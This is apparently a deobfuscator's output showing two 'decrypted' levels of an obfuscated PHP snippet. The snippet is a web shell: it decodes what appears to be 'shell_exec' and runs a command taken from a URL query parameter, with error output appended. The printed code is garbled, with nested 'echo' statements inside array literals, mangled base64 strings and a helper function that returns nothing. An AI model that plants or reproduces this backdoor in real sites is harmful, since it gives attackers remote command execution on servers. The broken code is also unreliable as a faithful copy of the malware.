Decrypted code level 1:

$GLOBALS[_1362073296_]=Array(base64_decode(c.2h.lbGxfZXhlYw==));
	function xe81afb3baa99c468819951f64d5dcffd($xvukvemu9081b56e3995945a7a8dfb33ea9dbe12){
	$tvnotwfj58f7585e548fd7ef45435e8e8108a496=Array(ZQ==ZQ==IDI+JjE=);
	return ;
}
if(isset($_GET[xe81afb3baa99c468819951f64d5dcffd(0)]))echo $GLOBALS[_1362073296_][0]($_GET[xe81afb3baa99c468819951f64d5dcffd(1)].xe81afb3baa99c468819951f64d5dcffd(2));

Decrypted code level 2:

$GLOBALS[_1362073296_]=Array(echo base64_decode(c.2h.lbGxfZXhlYw==);
);
	function xe81afb3baa99c468819951f64d5dcffd($xvukvemu9081b56e3995945a7a8dfb33ea9dbe12){
	$tvnotwfj58f7585e548fd7ef45435e8e8108a496=Array(ZQ==ZQ==IDI+JjE=);
	return ;
}
if(isset($_GET[xe81afb3baa99c468819951f64d5dcffd(0)]))echo $GLOBALS[_1362073296_][0]($_GET[xe81afb3baa99c468819951f64d5dcffd(1)].xe81afb3baa99c468819951f64d5dcffd(2));

$GLOBALS[_1362073296_]=Array(echo echo base64_decode(c.2h.lbGxfZXhlYw==);;
);
	function xe81afb3baa99c468819951f64d5dcffd($xvukvemu9081b56e3995945a7a8dfb33ea9dbe12){
	$tvnotwfj58f7585e548fd7ef45435e8e8108a496=Array(ZQ==ZQ==IDI+JjE=);
	return ;
}
if(isset($_GET[xe81afb3baa99c468819951f64d5dcffd(0)]))echo $GLOBALS[_1362073296_][0]($_GET[xe81afb3baa99c468819951f64d5dcffd(1)].xe81afb3baa99c468819951f64d5dcffd(2));